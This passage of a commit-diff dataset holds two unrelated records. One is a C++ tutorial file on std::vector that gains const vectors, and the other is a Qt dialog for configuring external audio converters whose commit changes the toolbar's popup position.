as needed and can be retrieved via\n    std::cout << \"y.size: \" << y.size() << std::endl;\n\n    \/* Expanding the size of the vector while still ensuring contiguous memory\n       might require reallocation and copying from time to time, which costs performance.\n       The size of the allocated region is the capacity and in general different from the\n       currently used size. *\/\n\n    y.reserve(10);      \/\/ increases size of capacity, i.e. allocated memory\n    std::cout << \"y.capacity: \" << y.capacity() << std::endl;\n\n    \/\/ iterate via random access\n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ iterate via iterator\n    for (std::vector<int>::const_iterator p = x.begin(); p != x.end(); p++)\n        std::cout << *p << \" \";\n    std::cout << std::endl;\n\n    \/\/ insert elements in the middle\n    std::vector<int>::const_iterator p = x.begin();\n    p += 2;\n    x.insert(p, 3, 2);                      \/\/ inserts at p three times the element 2 \n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ delete elements\n    std::vector<int>::iterator q = x.begin();\n    q += 3;\n    x.erase(q, q + 2);                      \/\/ delete the next 2 elements after q starting with *q\n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ advanced initialization\n    std::vector<int> w(3, 7);   \/\/ declares a vector of size 3 and initializes all entries with 7\n    std::vector<int> u(w);      \/\/ declares a vector that is a copy of w\n    std::vector<std::vector<int>> z(3, std::vector<int>(4)); \/\/ declares a vector of length 3 of vectors of length 4\n    z[1][2] = 17;   \/\/ access like this\n    \n    return EXIT_SUCCESS;\n}\n<commit_msg>added const vectors<commit_after>#include <iostream>\n#include <vector>\n\n\/* C++ supports vectors as part of the standard template library (STL). Unlike lists\n   the memory allocated for the nodes is contingous and random access is possible.\n*\/\n\n\nint main(int argc, char* argv[])\n{\n    std::vector<int> x(3);         \/\/ declares a vector of integers of size 3\n\n    \/\/ elements can be written into a vector using []\n    x[0] = 7;\n    x[1] = 8;\n    x[2] = 19;\n\n    \/\/ elements can also be read using []\n    std::cout << x[0] << \" \" << x[1] << \" \" << x[2] << std::endl;\n\n    \/\/ elements can be accessed also using at() which checks the bounds\n    std::cout << x.at(0) << \" \" << x.at(1) << \" \" << x.at(2) << std::endl;\n\n    std::vector<int> y;         \/\/ declare a vector of unspecified size\n    y.push_back(2);             \/\/ add elements at the end of the vector\n    y.push_back(3);\n    y.push_back(4);\n    x.push_back(4);             \/\/ this also works if x was declared previously of size 3\n    \/\/ elements can still be read using []\n    std::cout << y[0] << \" \" << y[1] << \" \" << y[2] << std::endl;\n\n    \/\/ the size of the vector is dynamically expanded as needed and can be retrieved via\n    std::cout << \"y.size: \" << y.size() << std::endl;\n\n    \/* Expanding the size of the vector while still ensuring contiguous memory\n       might require reallocation and copying from time to time, which costs performance.\n       The size of the allocated region is the capacity and in general different from the\n       currently used size. *\/\n\n    y.reserve(10);      \/\/ increases size of capacity, i.e. allocated memory\n    std::cout << \"y.capacity: \" << y.capacity() << std::endl;\n\n    \/\/ iterate via random access\n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ iterate via iterator\n    for (std::vector<int>::const_iterator p = x.begin(); p != x.end(); p++)\n        std::cout << *p << \" \";\n    std::cout << std::endl;\n\n    \/\/ insert elements in the middle\n    std::vector<int>::const_iterator p = x.begin();\n    p += 2;\n    x.insert(p, 3, 2);                      \/\/ inserts at p three times the element 2 \n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ delete elements\n    std::vector<int>::iterator q = x.begin();\n    q += 3;\n    x.erase(q, q + 2);                      \/\/ delete the next 2 elements after q starting with *q\n    for (int i = 0; i < x.size(); i++)\n        std::cout << x[i] << \" \";\n    std::cout << std::endl;\n\n    \/\/ advanced initialization\n    std::vector<int> w(3, 7);   \/\/ declares a vector of size 3 and initializes all entries with 7\n    std::vector<int> u(w);      \/\/ declares a vector that is a copy of w\n    std::vector<std::vector<int>> z(3, std::vector<int>(4)); \/\/ declares a vector of length 3 of vectors of length 4\n    z[1][2] = 17;   \/\/ access like this\n\n    \/\/ const vectors\n    const std::vector<int> mycv = {1, 2, 3};    \/\/ size of the vector is const and entries cannot be modified\n    \n    return EXIT_SUCCESS;\n}\n\n\/*\n    FURTHER READING\n    Const Vectors: https:\/\/stackoverflow.com\/questions\/17313062\/vector-of-const-objects-giving-compile-error\n*\/<|endoftext|>"}
{"text":"<commit_before>#include \"converterconfigurationdialog.h\"\n#include \"checkboxdelegate.h\"\n#include \"cmdlinehighlighterdelegate.h\"\n\n#include <QVBoxLayout>\n#include <QHBoxLayout>\n#include <QPushButton>\n#include <QFileDialog>\n#include <QMessageBox>\n#include <QDialogButtonBox>\n#include <QHeaderView>\n#include <QDebug>\n#include <QApplication>\n#include <QToolButton>\n\nConverterConfigurationDialog::ConverterConfigurationDialog(QWidget* parent, Qt::WindowFlags f) : QDialog(parent, f)\n{\n    \/\/ allocate\n    auto headingLabel = new QLabel(\"Configure External Converters\");\n    mainConverterLocationLabel = new QLabel(\"Location of Main Converter:\");\n    mainConverterLocationEdit = new FancyLineEdit;\n    contextMenu = new QMenu(this);\n    contextToolBar = new QToolBar(this);\n    browseButton = new QPushButton(\"Browse ...\");\n    additionalConvertersLabel = new QLabel(\"Additional converters:\");\n    auto stdButtons = new QDialogButtonBox(QDialogButtonBox::RestoreDefaults | QDialogButtonBox::Ok | QDialogButtonBox::Cancel);\n    auto mainLayout = new QVBoxLayout;\n    auto mainConverterLayout = new QHBoxLayout;\n\n    \/\/ set model\n    tableView.setModel(&convertersModel);\n\n    \/\/ configure view\n    tableView.verticalHeader()->setHidden(true);\n    tableView.setSelectionMode(QAbstractItemView::SingleSelection);\n    tableView.setSelectionBehavior(QAbstractItemView::SelectRows);\n    tableView.setContextMenuPolicy(Qt::CustomContextMenu);\n    tableView.horizontalHeader()->setStretchLastSection(true);\n\n    \/\/ configure menu & toolbar\n    initMenu();\n    initToolBar();\n    contextToolBar->hide();\n\n    \/\/ configure fonts\n    QFont defaultFont{qApp->font()};\n    QFont heading2Font{defaultFont};\n    QFont heading1Font{defaultFont};\n    heading2Font.setPointSize(defaultFont.pointSize() + 2);\n    heading1Font.setPointSize(defaultFont.pointSize() + 4);\n\n    \/\/ configure widgets\n    headingLabel->setFont(heading1Font);\n    headingLabel->setAlignment(Qt::AlignHCenter);\n    mainConverterLocationEdit->hideEditButton();\n    mainConverterLocationLabel->setFont(heading2Font);\n    additionalConvertersLabel->setFont(heading2Font);\n\n    \/\/ attach widgets to main layout\n    mainLayout->addWidget(headingLabel);\n    mainLayout->addSpacing(6);\n    mainLayout->addWidget(mainConverterLocationLabel);\n    mainConverterLayout->addWidget(mainConverterLocationEdit);\n    mainConverterLayout->addWidget(browseButton);\n    mainLayout->addLayout(mainConverterLayout);\n    mainLayout->addSpacing(6);\n    mainLayout->addWidget(additionalConvertersLabel);\n    mainLayout->addWidget(&tableView);\n    mainLayout->addWidget(stdButtons);\n    setLayout(mainLayout);\n\n    \/\/ hide unnecessary columns\n    tableView.setColumnHidden(0, true);\n    tableView.setColumnHidden(3, true);\n    tableView.setColumnHidden(6, true);\n    tableView.setColumnHidden(9, true);\n    tableView.setColumnHidden(10, true);\n\n    \/\/ set delegates\n    tableView.setItemDelegateForColumn(8, new CmdLineHighlighterDelegate(this));\n    tableView.setItemDelegateForColumn(1, new CheckBoxDelegate(this));\n\n    \/\/ connect signals \/ slots\n    connect(mainConverterLocationEdit, &QLineEdit::editingFinished, this, [this] {\n       mainConverterPath = mainConverterLocationEdit->text();\n    });\n\n    connect(browseButton, &QPushButton::clicked, this, &ConverterConfigurationDialog::promptForResamplerLocation);\n    connect(&tableView, &QWidget::customContextMenuRequested, this, [this](const QPoint& pos){\n        contextMenu->popup(QPoint{this->mapToGlobal(pos).x(), this->mapToGlobal(pos).y() + contextMenu->sizeHint().height()});\n        contextToolBar->hide();\n    });\n\n    connect(&tableView, &QTableView::clicked, this, [this](const QModelIndex& modelIndex) {\n        if(modelIndex.column() == 1)\n            return;\n\n        Q_UNUSED(modelIndex);\n        QPoint p = QCursor::pos();\n        contextToolBar->move(mapFromGlobal(p) + QPoint{25 \/*tableView.columnWidth(modelIndex.column()) \/ 2*\/, -contextToolBar->sizeHint().height() \/ 2});\n        contextToolBar->show();\n        contextToolBar->raise();\n    });\n\n    connect(stdButtons, &QDialogButtonBox::clicked, this, [this, stdButtons](QAbstractButton* b){\n        if(b == stdButtons->button(QDialogButtonBox::RestoreDefaults)){\n            onRestoreDefaults();\n        }\n    });\n\n    connect(stdButtons, &QDialogButtonBox::accepted, this, &QDialog::accept);\n    connect(stdButtons, &QDialogButtonBox::rejected, this, &QDialog::reject);\n}\n\nvoid ConverterConfigurationDialog::initMenu() {\n    contextMenu->addAction(\"New\", [this] {\n       onNewRequested(tableView.currentIndex());\n    }, QKeySequence::New);\n\n    contextMenu->addAction(\"Edit ...\", [this] {\n       onEditRequested(tableView.currentIndex());\n    });\n\n    contextMenu->addAction(\"Clone\", [this] {\n       onCloneRequested(tableView.currentIndex());\n    }, QKeySequence::Copy);\n\n    contextMenu->addAction(\"Delete\", [this] {\n       onDeleteRequested(tableView.currentIndex());\n    }, {QKeySequence::Delete});\n\n    contextMenu->addAction(\"Move Up\", [this] {\n        onMoveUpRequested(tableView.currentIndex());\n    });\n\n    contextMenu->addAction(\"Move Down\", [this] {\n        onMoveDownRequested(tableView.currentIndex());\n    });\n\n}\n\nvoid ConverterConfigurationDialog::initToolBar() {\n    QList<QAction*> actions;\n\n    actions.append(contextToolBar->addAction(\"New\", [this] {\n       onNewRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Edit ...\", [this] {\n       onEditRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Clone\", [this] {\n       onCloneRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Delete\", [this] {\n       onDeleteRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Move Up\", [this] {\n        onMoveUpRequested(tableView.currentIndex());\n        \/\/contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Move Down\", [this] {\n        onMoveDownRequested(tableView.currentIndex());\n        \/\/contextToolBar->hide();\n    }));\n\n    contextToolBar->setContentsMargins(0, 0, 0, 0);\n    contextToolBar->setMinimumWidth(tableView.width() \/ 2);\n    contextToolBar->setMaximumWidth(tableView.width());\n    contextToolBar->setFixedHeight(40);\n    contextToolBar->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);\n    contextToolBar->setStyleSheet(\"QToolBar {background-color: rgba(0,0,0,0);}\");\n\n    for(QAction* a : actions) {\n        QWidget* w = contextToolBar->widgetForAction(a);\n        if(QString(w->metaObject()->className()) == \"QToolButton\") {\n            QToolButton* t = qobject_cast<QToolButton*>(w);\n            t->setStyleSheet(\"QToolButton {padding: 5px; border-radius: 3px}\");\n        }\n    }\n\n}\n\nvoid ConverterConfigurationDialog::showEvent(QShowEvent* event) {\n\n    if(mainConverterPath.isEmpty() || !QFile::exists(mainConverterPath)) {\n       promptForResamplerLocation();\n    }\n\n    mainConverterLocationLabel->setText(QString{\"Location of Main Converter (%1):\"}.arg(expectedMainConverter));\n    mainConverterLocationEdit->setText(mainConverterPath);\n\n    QDialog::showEvent(event);\n}\n\nvoid ConverterConfigurationDialog::resizeEvent(QResizeEvent *event)\n{\n    int tw = event->size().width();\n\n    static const QVector<double> columnWidths {\n        0,      \/* \"Priority\" *\/\n        10,     \/* \"Enabled\" *\/\n        20,     \/* \"Name\" *\/\n        0 ,     \/* \"Comment\" *\/\n        12,     \/* \"Input File Extension\" *\/\n        12,     \/* \"Output File Extension\" *\/\n        0 ,     \/* \"Executable\" *\/\n        20,     \/* \"Executable Path\" *\/\n        20,     \/* \"Command Line\" *\/\n        0 ,     \/* \"Download Locations\" *\/\n        0      \/* \"Operating Systems\" *\/\n    };\n\n    for(int col = 0; col < convertersModel.columnCount({}) - 1; col++) {\n        tableView.horizontalHeader()->resizeSection(col, tw * columnWidths.at(col)\/100.0);\n    }\n\n    tableView.horizontalHeader()->setHidden(false);\n\n    QDialog::resizeEvent(event);\n}\n\nQVector<ConverterDefinition> ConverterConfigurationDialog::getConverterDefinitions() const\n{\n    return convertersModel.getConverterDefinitions();\n}\n\nvoid ConverterConfigurationDialog::setConverterDefinitions(const QVector<ConverterDefinition> &value)\n{\n    convertersModel.setConverterDefinitions(value);\n}\n\nvoid ConverterConfigurationDialog::promptForResamplerLocation() {\n    QString s(tr(\"Please locate the file: \"));\n    s.append(expectedMainConverter);\n\n#if defined (Q_OS_WIN)\n    QString filter = \"*.exe\";\n#else\n    QString filter = \"\";\n#endif\n\n    QString cp = QFileDialog::getOpenFileName(this, s, mainConverterPath,  filter);\n\n    if(!cp.isNull()) {\n        mainConverterPath = cp;\n        if(mainConverterPath.lastIndexOf(expectedMainConverter, -1, Qt::CaseInsensitive) == -1) { \/\/ safeguard against wrong executable being configured\n            mainConverterPath.clear();\n            QMessageBox::warning(this, tr(\"Converter Location\"), tr(\"That is not the right program!\\n\"), QMessageBox::Ok);\n        }\n    }\n}\n\nQString ConverterConfigurationDialog::getMainConverterPath() const\n{\n    return mainConverterPath;\n}\n\nvoid ConverterConfigurationDialog::setMainConverterPath(const QString &value)\n{\n    mainConverterPath = value;\n}\n\nQString ConverterConfigurationDialog::getExpectedMainConverter() const\n{\n    return expectedMainConverter;\n}\n\nvoid ConverterConfigurationDialog::setExpectedMainConverter(const QString &value)\n{\n    expectedMainConverter = value;\n    \/\/ set tooltips\n    mainConverterLocationLabel->setToolTip(QString{\"Please enter the location of %1 in the box below.\\n\"\n                                           \"(%1 is the command-line audio converter that Ferocious was designed to work with.)\"\n                                           }.arg(expectedMainConverter));\n    mainConverterLocationEdit->setToolTip(QString{\"Location of %1\\n\"\n                                          \"Note: you can also use drag-and-drop, or the 'Browse' button\"}.arg(expectedMainConverter));\n    browseButton->setToolTip(QString{\"Browse to location of %1\"}.arg(expectedMainConverter));\n    additionalConvertersLabel->setToolTip(\"Use the table below to cofigure additional converters for specialized file formats.\");\n\n}\n\nvoid ConverterConfigurationDialog::onNewRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.insert(row, {});\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\n\nvoid ConverterConfigurationDialog::onEditRequested(const QModelIndex& modelIndex)\n{\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if (converterDefinitions.isEmpty())\n        return;\n\n    int row = modelIndex.row();\n\n    if (row < 0)\n        return;\n\n    auto dlg = new ConverterConfigurationEditDialog(this);\n    if(row < converterDefinitions.count()) {\n        dlg->setConverterDefinition(converterDefinitions.at(row));\n        int result = dlg->exec();\n        if(result == QDialog::Accepted) {\n            converterDefinitions[row] = dlg->getConverterDefinition();\n            convertersModel.setConverterDefinitions(converterDefinitions);\n        }\n    }\n}\n\nvoid ConverterConfigurationDialog::onDeleteRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.removeAt(row);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\nvoid ConverterConfigurationDialog::onCloneRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.insert(row, converterDefinitions.at(row));\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\nvoid ConverterConfigurationDialog::onMoveUpRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 1 ) {\n        return;\n    }\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        qSwap(converterDefinitions[row], converterDefinitions[row - 1]);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n        tableView.selectRow(row - 1);\n    }\n}\n\nvoid ConverterConfigurationDialog::onMoveDownRequested(const QModelIndex& modelIndex)\n{\n\n    int row = modelIndex.row();\n\n    if(row < 0 ) {\n        return;\n    }\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count() - 1) {\n        qSwap(converterDefinitions[row], converterDefinitions[row + 1]);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n        tableView.selectRow(row + 1);\n    }\n}\n\nvoid ConverterConfigurationDialog::onRestoreDefaults() {\n    setConverterDefinitions(ConverterDefinition::loadConverterDefinitions(\":\/converters.json\"));\n}\n<commit_msg>chabged popup position of toolbox to align with 4th column<commit_after>#include \"converterconfigurationdialog.h\"\n#include \"checkboxdelegate.h\"\n#include \"cmdlinehighlighterdelegate.h\"\n\n#include <QVBoxLayout>\n#include <QHBoxLayout>\n#include <QPushButton>\n#include <QFileDialog>\n#include <QMessageBox>\n#include <QDialogButtonBox>\n#include <QHeaderView>\n#include <QDebug>\n#include <QApplication>\n#include <QToolButton>\n\nConverterConfigurationDialog::ConverterConfigurationDialog(QWidget* parent, Qt::WindowFlags f) : QDialog(parent, f)\n{\n    \/\/ allocate\n    auto headingLabel = new QLabel(\"Configure External Converters\");\n    mainConverterLocationLabel = new QLabel(\"Location of Main Converter:\");\n    mainConverterLocationEdit = new FancyLineEdit;\n    contextMenu = new QMenu(this);\n    contextToolBar = new QToolBar(this);\n    browseButton = new QPushButton(\"Browse ...\");\n    additionalConvertersLabel = new QLabel(\"Additional converters:\");\n    auto stdButtons = new QDialogButtonBox(QDialogButtonBox::RestoreDefaults | QDialogButtonBox::Ok | QDialogButtonBox::Cancel);\n    auto mainLayout = new QVBoxLayout;\n    auto mainConverterLayout = new QHBoxLayout;\n\n    \/\/ set model\n    tableView.setModel(&convertersModel);\n\n    \/\/ configure view\n    tableView.verticalHeader()->setHidden(true);\n    tableView.setSelectionMode(QAbstractItemView::SingleSelection);\n    tableView.setSelectionBehavior(QAbstractItemView::SelectRows);\n    tableView.setContextMenuPolicy(Qt::CustomContextMenu);\n    tableView.horizontalHeader()->setStretchLastSection(true);\n\n    \/\/ configure menu & toolbar\n    initMenu();\n    initToolBar();\n    contextToolBar->hide();\n\n    \/\/ configure fonts\n    QFont defaultFont{qApp->font()};\n    QFont heading2Font{defaultFont};\n    QFont heading1Font{defaultFont};\n    heading2Font.setPointSize(defaultFont.pointSize() + 2);\n    heading1Font.setPointSize(defaultFont.pointSize() + 4);\n\n    \/\/ configure widgets\n    headingLabel->setFont(heading1Font);\n    headingLabel->setAlignment(Qt::AlignHCenter);\n    mainConverterLocationEdit->hideEditButton();\n    mainConverterLocationLabel->setFont(heading2Font);\n    additionalConvertersLabel->setFont(heading2Font);\n\n    \/\/ attach widgets to main layout\n    mainLayout->addWidget(headingLabel);\n    mainLayout->addSpacing(6);\n    mainLayout->addWidget(mainConverterLocationLabel);\n    mainConverterLayout->addWidget(mainConverterLocationEdit);\n    mainConverterLayout->addWidget(browseButton);\n    mainLayout->addLayout(mainConverterLayout);\n    mainLayout->addSpacing(6);\n    mainLayout->addWidget(additionalConvertersLabel);\n    mainLayout->addWidget(&tableView);\n    mainLayout->addWidget(stdButtons);\n    setLayout(mainLayout);\n\n    \/\/ hide unnecessary columns\n    tableView.setColumnHidden(0, true);\n    tableView.setColumnHidden(3, true);\n    tableView.setColumnHidden(6, true);\n    tableView.setColumnHidden(9, true);\n    tableView.setColumnHidden(10, true);\n\n    \/\/ set delegates\n    tableView.setItemDelegateForColumn(8, new CmdLineHighlighterDelegate(this));\n    tableView.setItemDelegateForColumn(1, new CheckBoxDelegate(this));\n\n    \/\/ connect signals \/ slots\n    connect(mainConverterLocationEdit, &QLineEdit::editingFinished, this, [this] {\n       mainConverterPath = mainConverterLocationEdit->text();\n    });\n\n    connect(browseButton, &QPushButton::clicked, this, &ConverterConfigurationDialog::promptForResamplerLocation);\n    connect(&tableView, &QWidget::customContextMenuRequested, this, [this](const QPoint& pos){\n        contextMenu->popup(QPoint{this->mapToGlobal(pos).x(), this->mapToGlobal(pos).y() + contextMenu->sizeHint().height()});\n        contextToolBar->hide();\n    });\n\n    connect(&tableView, &QTableView::clicked, this, [this](const QModelIndex& modelIndex) {\n        if(modelIndex.column() == 1)\n            return;\n\n    \/\/    QPoint p = QCursor::pos();\n    \/\/    contextToolBar->move(mapFromGlobal(p) + QPoint{25 \/*tableView.columnWidth(modelIndex.column()) \/ 2*\/, -contextToolBar->sizeHint().height() \/ 2});\n        QPoint p = QPoint{tableView.columnViewportPosition(4), tableView.rowViewportPosition(modelIndex.row())};\n        QPoint q = tableView.mapTo(this, p + QPoint{0, tableView.rowHeight(modelIndex.row()) \/ 2});\n        contextToolBar->move(q);\n        contextToolBar->show();\n        contextToolBar->raise();\n    });\n\n    connect(stdButtons, &QDialogButtonBox::clicked, this, [this, stdButtons](QAbstractButton* b){\n        if(b == stdButtons->button(QDialogButtonBox::RestoreDefaults)){\n            onRestoreDefaults();\n        }\n    });\n\n    connect(stdButtons, &QDialogButtonBox::accepted, this, &QDialog::accept);\n    connect(stdButtons, &QDialogButtonBox::rejected, this, &QDialog::reject);\n}\n\nvoid ConverterConfigurationDialog::initMenu() {\n    contextMenu->addAction(\"New\", [this] {\n       onNewRequested(tableView.currentIndex());\n    }, QKeySequence::New);\n\n    contextMenu->addAction(\"Edit ...\", [this] {\n       onEditRequested(tableView.currentIndex());\n    });\n\n    contextMenu->addAction(\"Clone\", [this] {\n       onCloneRequested(tableView.currentIndex());\n    }, QKeySequence::Copy);\n\n    contextMenu->addAction(\"Delete\", [this] {\n       onDeleteRequested(tableView.currentIndex());\n    }, {QKeySequence::Delete});\n\n    contextMenu->addAction(\"Move Up\", [this] {\n        onMoveUpRequested(tableView.currentIndex());\n    });\n\n    contextMenu->addAction(\"Move Down\", [this] {\n        onMoveDownRequested(tableView.currentIndex());\n    });\n\n}\n\nvoid ConverterConfigurationDialog::initToolBar() {\n    QList<QAction*> actions;\n\n    actions.append(contextToolBar->addAction(\"New\", [this] {\n       onNewRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Edit ...\", [this] {\n       onEditRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Clone\", [this] {\n       onCloneRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Delete\", [this] {\n       onDeleteRequested(tableView.currentIndex());\n       contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Move Up\", [this] {\n        onMoveUpRequested(tableView.currentIndex());\n        \/\/contextToolBar->hide();\n    }));\n\n    actions.append(contextToolBar->addAction(\"Move Down\", [this] {\n        onMoveDownRequested(tableView.currentIndex());\n        \/\/contextToolBar->hide();\n    }));\n\n    contextToolBar->setContentsMargins(0, 0, 0, 0);\n    contextToolBar->setMinimumWidth(tableView.width() \/ 2);\n    contextToolBar->setMaximumWidth(tableView.width());\n    contextToolBar->setFixedHeight(40);\n    contextToolBar->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);\n    contextToolBar->setStyleSheet(\"QToolBar {background-color: rgba(0,0,0,0);}\");\n\n    for(QAction* a : actions) {\n        QWidget* w = contextToolBar->widgetForAction(a);\n        if(QString(w->metaObject()->className()) == \"QToolButton\") {\n            QToolButton* t = qobject_cast<QToolButton*>(w);\n            t->setStyleSheet(\"QToolButton {padding: 5px; border-radius: 3px}\");\n        }\n    }\n\n}\n\nvoid ConverterConfigurationDialog::showEvent(QShowEvent* event) {\n\n    if(mainConverterPath.isEmpty() || !QFile::exists(mainConverterPath)) {\n       promptForResamplerLocation();\n    }\n\n    mainConverterLocationLabel->setText(QString{\"Location of Main Converter (%1):\"}.arg(expectedMainConverter));\n    mainConverterLocationEdit->setText(mainConverterPath);\n\n    QDialog::showEvent(event);\n}\n\nvoid ConverterConfigurationDialog::resizeEvent(QResizeEvent *event)\n{\n    int tw = event->size().width();\n\n    static const QVector<double> columnWidths {\n        0,      \/* \"Priority\" *\/\n        10,     \/* \"Enabled\" *\/\n        20,     \/* \"Name\" *\/\n        0 ,     \/* \"Comment\" *\/\n        12,     \/* \"Input File Extension\" *\/\n        12,     \/* \"Output File Extension\" *\/\n        0 ,     \/* \"Executable\" *\/\n        20,     \/* \"Executable Path\" *\/\n        20,     \/* \"Command Line\" *\/\n        0 ,     \/* \"Download Locations\" *\/\n        0      \/* \"Operating Systems\" *\/\n    };\n\n    for(int col = 0; col < convertersModel.columnCount({}) - 1; col++) {\n        tableView.horizontalHeader()->resizeSection(col, tw * columnWidths.at(col)\/100.0);\n    }\n\n    tableView.horizontalHeader()->setHidden(false);\n\n    QDialog::resizeEvent(event);\n}\n\nQVector<ConverterDefinition> ConverterConfigurationDialog::getConverterDefinitions() const\n{\n    return convertersModel.getConverterDefinitions();\n}\n\nvoid ConverterConfigurationDialog::setConverterDefinitions(const QVector<ConverterDefinition> &value)\n{\n    convertersModel.setConverterDefinitions(value);\n}\n\nvoid ConverterConfigurationDialog::promptForResamplerLocation() {\n    QString s(tr(\"Please locate the file: \"));\n    s.append(expectedMainConverter);\n\n#if defined (Q_OS_WIN)\n    QString filter = \"*.exe\";\n#else\n    QString filter = \"\";\n#endif\n\n    QString cp = QFileDialog::getOpenFileName(this, s, mainConverterPath,  filter);\n\n    if(!cp.isNull()) {\n        mainConverterPath = cp;\n        if(mainConverterPath.lastIndexOf(expectedMainConverter, -1, Qt::CaseInsensitive) == -1) { \/\/ safeguard against wrong executable being configured\n            mainConverterPath.clear();\n            QMessageBox::warning(this, tr(\"Converter Location\"), tr(\"That is not the right program!\\n\"), QMessageBox::Ok);\n        }\n    }\n}\n\nQString ConverterConfigurationDialog::getMainConverterPath() const\n{\n    return mainConverterPath;\n}\n\nvoid ConverterConfigurationDialog::setMainConverterPath(const QString &value)\n{\n    mainConverterPath = value;\n}\n\nQString ConverterConfigurationDialog::getExpectedMainConverter() const\n{\n    return expectedMainConverter;\n}\n\nvoid ConverterConfigurationDialog::setExpectedMainConverter(const QString &value)\n{\n    expectedMainConverter = value;\n    \/\/ set tooltips\n    mainConverterLocationLabel->setToolTip(QString{\"Please enter the location of %1 in the box below.\\n\"\n                                           \"(%1 is the command-line audio converter that Ferocious was designed to work with.)\"\n                                           }.arg(expectedMainConverter));\n    mainConverterLocationEdit->setToolTip(QString{\"Location of %1\\n\"\n                                          \"Note: you can also use drag-and-drop, or the 'Browse' button\"}.arg(expectedMainConverter));\n    browseButton->setToolTip(QString{\"Browse to location of %1\"}.arg(expectedMainConverter));\n    additionalConvertersLabel->setToolTip(\"Use the table below to cofigure additional converters for specialized file formats.\");\n\n}\n\nvoid ConverterConfigurationDialog::onNewRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.insert(row, {});\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\n\nvoid ConverterConfigurationDialog::onEditRequested(const QModelIndex& modelIndex)\n{\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if (converterDefinitions.isEmpty())\n        return;\n\n    int row = modelIndex.row();\n\n    if (row < 0)\n        return;\n\n    auto dlg = new ConverterConfigurationEditDialog(this);\n    if(row < converterDefinitions.count()) {\n        dlg->setConverterDefinition(converterDefinitions.at(row));\n        int result = dlg->exec();\n        if(result == QDialog::Accepted) {\n            converterDefinitions[row] = dlg->getConverterDefinition();\n            convertersModel.setConverterDefinitions(converterDefinitions);\n        }\n    }\n}\n\nvoid ConverterConfigurationDialog::onDeleteRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.removeAt(row);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\nvoid ConverterConfigurationDialog::onCloneRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 0 )\n        return;\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        converterDefinitions.insert(row, converterDefinitions.at(row));\n        convertersModel.setConverterDefinitions(converterDefinitions);\n    }\n}\n\nvoid ConverterConfigurationDialog::onMoveUpRequested(const QModelIndex& modelIndex)\n{\n    int row = modelIndex.row();\n\n    if(row < 1 ) {\n        return;\n    }\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count()) {\n        qSwap(converterDefinitions[row], converterDefinitions[row - 1]);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n        tableView.selectRow(row - 1);\n    }\n}\n\nvoid ConverterConfigurationDialog::onMoveDownRequested(const QModelIndex& modelIndex)\n{\n\n    int row = modelIndex.row();\n\n    if(row < 0 ) {\n        